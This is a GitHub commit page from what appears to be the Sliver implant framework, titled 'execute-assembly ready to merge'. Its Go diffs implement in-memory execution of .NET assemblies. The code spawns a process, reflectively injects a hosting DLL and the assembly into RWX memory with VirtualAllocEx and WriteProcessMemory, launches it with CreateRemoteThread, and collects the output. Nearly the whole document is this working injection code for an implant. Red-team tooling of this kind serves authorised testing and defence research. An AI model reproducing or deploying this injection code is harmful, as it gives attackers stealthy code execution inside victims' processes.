Skip to content

Commit

Permalink
execute-assembly ready to merge
Browse files Browse the repository at this point in the history
  • Loading branch information
rkervella committed Feb 21, 2019
1 parent 1dd85c9 commit 9a76320
Show file tree
Hide file tree
Showing 3 changed files with 97 additions and 50 deletions.
2 changes: 1 addition & 1 deletion client/command/execute_assembly.go
Original file line number Diff line number Diff line change
Expand Up @@ -38,7 +38,7 @@ func executeAssembly(ctx *grumble.Context, rpc RPCServer) {
go spin.Until("Executing assembly ...", ctrl)
data, _ := proto.Marshal(&sliverpb.ExecuteAssemblyReq{
SliverID: ActiveSliver.Sliver.ID,
Timeout: int32(30),
Timeout: int32(5),
Arguments: assemblyArgs,
Assembly: assemblyBytes,
HostingDll: []byte{},
Expand Down
2 changes: 1 addition & 1 deletion sliver/handlers_windows.go
Original file line number Diff line number Diff line change
Expand Up @@ -74,7 +74,7 @@ func executeAssemblyHandler(data []byte, resp RPCResponse) {
// {{end}}
return
}
output, err := taskrunner.ExecuteAssembly(execReq.Assembly, execReq.HostingDll, execReq.Arguments, execReq.Timeout)
output, err := taskrunner.ExecuteAssembly(execReq.HostingDll, execReq.Assembly, execReq.Arguments, execReq.Timeout)
strErr := ""
if err != nil {
strErr = err.Error()
Expand Down
143 changes: 95 additions & 48 deletions sliver/taskrunner/task_windows.go
Original file line number Diff line number Diff line change
Expand Up @@ -6,8 +6,8 @@ import (
"io"
"os"
"os/exec"
"runtime"
"syscall"
"time"
"unsafe"

// {{if .Debug}}
Expand All @@ -24,17 +24,63 @@ const (
)

var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
virtualAlloc = kernel32.MustFindProc("VirtualAlloc")
virtualAllocEx = kernel32.MustFindProc("VirtualAllocEx")
writeProcessMemory = kernel32.MustFindProc("WriteProcessMemory")
createRemoteThread = kernel32.MustFindProc("CreateRemoteThread")
createThread = kernel32.MustFindProc("CreateThread")
kernel32 = syscall.MustLoadDLL("kernel32.dll")
procVirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
procVirtualAllocEx = kernel32.MustFindProc("VirtualAllocEx")
procWriteProcessMemory = kernel32.MustFindProc("WriteProcessMemory")
procCreateRemoteThread = kernel32.MustFindProc("CreateRemoteThread")
procCreateThread = kernel32.MustFindProc("CreateThread")
)

func virtualAllocEx(process syscall.Handle, addr uintptr, size, allocType, protect uint32) (uintptr, error) {
r1, _, e1 := procVirtualAllocEx.Call(
uintptr(process),
addr,
uintptr(size),
uintptr(allocType),
uintptr(protect))

if int(r1) == 0 {
return r1, os.NewSyscallError("VirtualAllocEx", e1)
}
return r1, nil
}

func writeProcessMemory(process syscall.Handle, addr uintptr, buf unsafe.Pointer, size uint32) (uint32, error) {
var nLength uint32
r1, _, e1 := procWriteProcessMemory.Call(
uintptr(process),
addr,
uintptr(buf),
uintptr(size),
uintptr(unsafe.Pointer(&nLength)))

if int(r1) == 0 {
return nLength, os.NewSyscallError("WriteProcessMemory", e1)
}
return nLength, nil
}

func createRemoteThread(process syscall.Handle, sa *syscall.SecurityAttributes, stackSize uint32, startAddress, parameter uintptr, creationFlags uint32) (syscall.Handle, uint32, error) {
var threadID uint32
r1, _, e1 := procCreateRemoteThread.Call(
uintptr(process),
uintptr(unsafe.Pointer(sa)),
uintptr(stackSize),
startAddress,
parameter,
uintptr(creationFlags),
uintptr(unsafe.Pointer(&threadID)))
runtime.KeepAlive(sa)
if int(r1) == 0 {
return syscall.InvalidHandle, 0, os.NewSyscallError("CreateRemoteThread", e1)
}
return syscall.Handle(r1), threadID, nil
}

func sysAlloc(size int) (uintptr, error) {
n := uintptr(size)
addr, _, err := virtualAlloc.Call(0, n, MEM_RESERVE|MEM_COMMIT, syscall.PAGE_EXECUTE_READWRITE)
addr, _, err := procVirtualAlloc.Call(0, n, MEM_RESERVE|MEM_COMMIT, syscall.PAGE_EXECUTE_READWRITE)
if addr == 0 {
return 0, err
}
Expand All @@ -60,7 +106,7 @@ func injectTask(processHandle syscall.Handle, data []byte) error {
// {{if .Debug}}
log.Println("creating native data buffer ...")
// {{end}}
dataAddr, _, err := virtualAlloc.Call(0, ptr(dataSize), MEM_RESERVE|MEM_COMMIT, syscall.PAGE_EXECUTE_READWRITE)
dataAddr, _, err := procVirtualAlloc.Call(0, ptr(dataSize), MEM_RESERVE|MEM_COMMIT, syscall.PAGE_EXECUTE_READWRITE)
if dataAddr == 0 {
return err
}
Expand All @@ -73,23 +119,23 @@ func injectTask(processHandle syscall.Handle, data []byte) error {
// {{if .Debug}}
log.Println("allocating remote process memory ...")
// {{end}}
remoteAddr, _, err := virtualAllocEx.Call(uintptr(processHandle), 0, ptr(dataSize), MEM_COMMIT, syscall.PAGE_EXECUTE_READWRITE)
remoteAddr, err := virtualAllocEx(processHandle, 0, uint32(dataSize), MEM_COMMIT, syscall.PAGE_EXECUTE_READWRITE)
// {{if .Debug}}
log.Printf("virtualallocex returned: remoteAddr = %v, err = %v", remoteAddr, err)
// {{end}}
if remoteAddr == 0 {
if err != nil {
// {{if .Debug}}
log.Println("[!] failed to allocate remote process memory")
// {{end}}
return err
}

// Write the shellcode into the remotely allocated buffer
writeMemorySuccess, _, err := writeProcessMemory.Call(uintptr(processHandle), uintptr(remoteAddr), uintptr(dataAddr), ptr(dataSize), 0)
writeMemorySuccess, err := writeProcessMemory(processHandle, remoteAddr, unsafe.Pointer(dataAddr), uint32(dataSize))
// {{if .Debug}}
log.Printf("writeprocessmemory returned: writeMemorySuccess = %v, err = %v", writeMemorySuccess, err)
// {{end}}
if writeMemorySuccess == 0 {
if err != nil {
// {{if .Debug}}
log.Printf("[!] failed to write data into remote process")
// {{end}}
Expand All @@ -100,11 +146,12 @@ func injectTask(processHandle syscall.Handle, data []byte) error {
// {{if .Debug}}
log.Println("successfully injected data, starting remote thread ....")
// {{end}}
createThreadSuccess, _, err := createRemoteThread.Call(uintptr(processHandle), 0, 0, uintptr(remoteAddr), 0, 0, 0)
attr := new(syscall.SecurityAttributes)
createThreadSuccess, _, err := createRemoteThread(processHandle, attr, 0, uintptr(remoteAddr), 0, 0)
// {{if .Debug}}
log.Printf("createremotethread returned: createThreadSuccess = %v, err = %v", createThreadSuccess, err)
// {{end}}
if createThreadSuccess == 0 {
if err != nil {
// {{if .Debug}}
log.Printf("[!] failed to create remote thread")
// {{end}}
Expand Down Expand Up @@ -136,11 +183,15 @@ func LocalTask(data []byte) error {
// {{if .Debug}}
log.Printf("creating local thread with start address: 0x%08x", addr)
// {{end}}
_, _, err := createThread.Call(0, 0, addr, 0, 0, 0)
_, _, err := procCreateThread.Call(0, 0, addr, 0, 0, 0)
return err
}

func ExecuteAssembly(hostingDll, assembly []byte, params string, timeout int32) (string, error) {
// {{if .Debug}}
log.Println("[*] Assembly size:", len(assembly))
log.Println("[*] Hosting dll size:", len(hostingDll))
// {{end}}
if len(assembly) > MAX_ASSEMBLY_LENGTH {
return "", fmt.Errorf("please use an assembly smaller than %d", MAX_ASSEMBLY_LENGTH)
}
Expand All @@ -153,39 +204,35 @@ func ExecuteAssembly(hostingDll, assembly []byte, params string, timeout int32)
stderrIn, _ := cmd.StderrPipe()

var errStdout, errStderr error
stdout := io.MultiWriter(os.Stdout, &stdoutBuf)
stderr := io.MultiWriter(os.Stderr, &stderrBuf)
go cmd.Run()
time.Sleep(time.Second * 3)
cmd.Start()
defer cmd.Process.Kill()
pid := cmd.Process.Pid
log.Println("[*] Process started, pid =", cmd.Process.Pid)
// {{if .Debug}}
log.Println("[*] notepad.exe started, pid =", pid)
// {{end}}
// OpenProcess with PROC_ACCESS_ALL
handle, err := syscall.OpenProcess(PROCESS_ALL_ACCESS, true, uint32(pid))
if err != nil {
return "", err
}
log.Println("[*] Allocating space for reflective DLL")
// VirtualAllocEx to allocate a new memory segment into the target process
dllSize := len(hostingDll)
hostingDllAddr, _, err := virtualAllocEx.Call(uintptr(handle), 0, ptr(dllSize), MEM_COMMIT, syscall.PAGE_EXECUTE_READWRITE)
if hostingDllAddr == 0 {
log.Println("VirtualAllocEx failed")
hostingDllAddr, err := virtualAllocEx(handle, 0, uint32(len(hostingDll)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE)
if err != nil {
return "", err
}
log.Println("[*] Calling WriteProcessMemory...")
// WriteProcessMemory to write the reflective loader into the process
success, _, err := writeProcessMemory.Call(uintptr(handle), uintptr(hostingDllAddr), uintptr(unsafe.Pointer(&hostingDll[0])), ptr(dllSize))
if success == 0 {
log.Println("WriteProcessMemory failed")
_, err = writeProcessMemory(handle, hostingDllAddr, unsafe.Pointer(&hostingDll[0]), uint32(len(hostingDll)))
if err != nil {
return "", err
}
// {{if .Debug}}
log.Printf("[*] Hosting DLL reflectively injected at 0x%08x\n", hostingDllAddr)
// {{end}}
// Total size to allocate = assembly size + 1024 bytes for the args
totalSize := int(MAX_ASSEMBLY_LENGTH)
totalSize := uint32(MAX_ASSEMBLY_LENGTH)
// VirtualAllocEx to allocate another memory segment for hosting the .NET assembly and args
assemblyAddr, _, err := virtualAllocEx.Call(uintptr(handle), 0, ptr(totalSize), MEM_COMMIT, syscall.PAGE_READWRITE)
if assemblyAddr == 0 {
log.Println("VirtualAllocEx failed")
assemblyAddr, err := virtualAllocEx(handle, 0, totalSize, MEM_COMMIT|MEM_RESERVE, syscall.PAGE_READWRITE)
if err != nil {
return "", err
}
// Padd arguments with 0x00 -- there must be a cleaner way to do that
Expand All @@ -194,33 +241,33 @@ func ExecuteAssembly(hostingDll, assembly []byte, params string, timeout int32)
final := append(paramsBytes, padding...)
// Final payload: params + assembly
final = append(final, assembly...)
finalSize := len(final)
// WriteProcessMemory to write the .NET assembly + args
success, _, err = writeProcessMemory.Call(uintptr(handle), uintptr(assemblyAddr), uintptr(unsafe.Pointer(&final[0])), ptr(finalSize))
if success == 0 {
_, err = writeProcessMemory(handle, assemblyAddr, unsafe.Pointer(&final[0]), uint32(len(final)))
if err != nil {
return "", err
}
// {{if .Debug}}
log.Printf("[*] Wrote %d bytes at 0x%08x\n", len(final), assemblyAddr)
// {{end}}
// CreateRemoteThread(DLL addr + offset, assembly addr)
success, _, err = createRemoteThread.Call(uintptr(handle), 0, 0, uintptr(hostingDllAddr+BobLoaderOffset), uintptr(assemblyAddr), 0)
if success == 0 {
attr := new(syscall.SecurityAttributes)
_, _, err = createRemoteThread(handle, attr, 0, uintptr(hostingDllAddr+BobLoaderOffset), uintptr(assemblyAddr), 0)
if err != nil {
return "", err
}

go func() {
_, errStdout = io.Copy(stdout, stdoutIn)
_, errStdout = io.Copy(&stdoutBuf, stdoutIn)
}()
_, errStderr = io.Copy(stderr, stderrIn)
_, errStderr = io.Copy(&stderrBuf, stderrIn)

if errStdout != nil || errStderr != nil {
log.Fatal("failed to capture stdout or stderr\n")
}
log.Printf("Sleeping for %d seconds\n", timeout-20)
time.Sleep(time.Second * time.Duration(timeout-20))
outStr, errStr := string(stdoutBuf.Bytes()), string(stderrBuf.Bytes())
if len(errStr) > 1 {
return "", fmt.Errorf(errStr)
}
log.Println("EXECUTE ASSEMBLY FINISHED", outStr)
outStr, _ := string(stdoutBuf.Bytes()), string(stderrBuf.Bytes())
// {{if .Debug}}
log.Println("[*] Output:")
log.Println(outStr)
// {{end}}
return outStr, nil
}

0 comments on commit 9a76320

Please sign in to comment.